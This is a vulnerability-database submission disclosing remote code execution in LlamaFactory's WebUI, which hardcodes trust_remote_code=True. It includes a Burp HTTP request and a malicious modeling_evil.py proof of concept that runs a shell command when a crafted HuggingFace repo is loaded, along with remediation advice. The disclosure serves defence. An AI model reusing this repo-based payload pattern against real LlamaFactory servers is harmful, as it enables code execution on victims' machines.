| Título | hiyouga LlamaFactory v0.9.5 Hardcoded trust_remote_code=True leads to Remote Code Execution |
|---|
| Descrição | Description:
The LlamaFactory WebUI hardcodes trust_remote_code=True when loading models. When a user inputs a malicious HuggingFace model repository address and clicks load, the transformers library will execute arbitrary Python code inside modeling_*.py from the remote repo. An attacker can build a malicious model repo to trigger RCE under the server process permissions. The user has no UI option to disable this flag in WebUI.
Problematic Code:
File: src/llamafactory/webui/runner.py:183
args = dict(
...
plot_loss=True,
trust_remote_code=True, # ← 硬编码为 True
...
)
Also in:
runner.py:329 (eval args)
chatter.py:139 (chat model)
components/export.py:100 (model export)
Burp POC:
POST /api/predict HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Content-Length: 380
{
"session_hash": "aaaaaa",
"fn_index": 2,
"data": [
"hacker/evil-llama-model",
"AutoModelForCausalLM",
"AutoTokenizer",
null,
true,
false
]
}
Malicious Model Repo PoC:
# modeling_evil.py (放在恶意模型仓库根目录)
import os
import subprocess
class EvilLlamaForCausalLM:
@classmethod
def from_pretrained(cls, *args, **kwargs):
# 任意命令执行
subprocess.Popen(["touch", "/tmp/pwned.txt"])
return cls()
Attack Flow:
The attacker uploads the evil-llama-model to HuggingFace
The victim opens the LlamaFactory WebUI
They enter hacker/evil-llama-model in the model path input box
Click the "Load Model" button
The malicious code runs on the victim's server
Remediation:
Remove the hard-coded trust_remote_code=True in runner.py, chatter.py, and export.py
Add an explicit UI checkbox, defaulting to False
Show a prominent security warning when trust_remote_code is enabled |
|---|
| Fonte | ⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-f45j-26gc-xppv |
|---|
| Utilizador | Anonymous User |
|---|
| Submissão | 25/10/2026 02h17 (há 1 mês) |
|---|
| Moderação | 24/11/2026 09h51 (1 month later) |
|---|
| Estado | Duplicado |
|---|
| Entrada VulDB | 374836 [hiyouga LlamaFactory até 0.9.5 Training Interface AutoTokenizer.from_pretrained Elevação de Privilégios] |
|---|
| Pontos | 0 |
|---|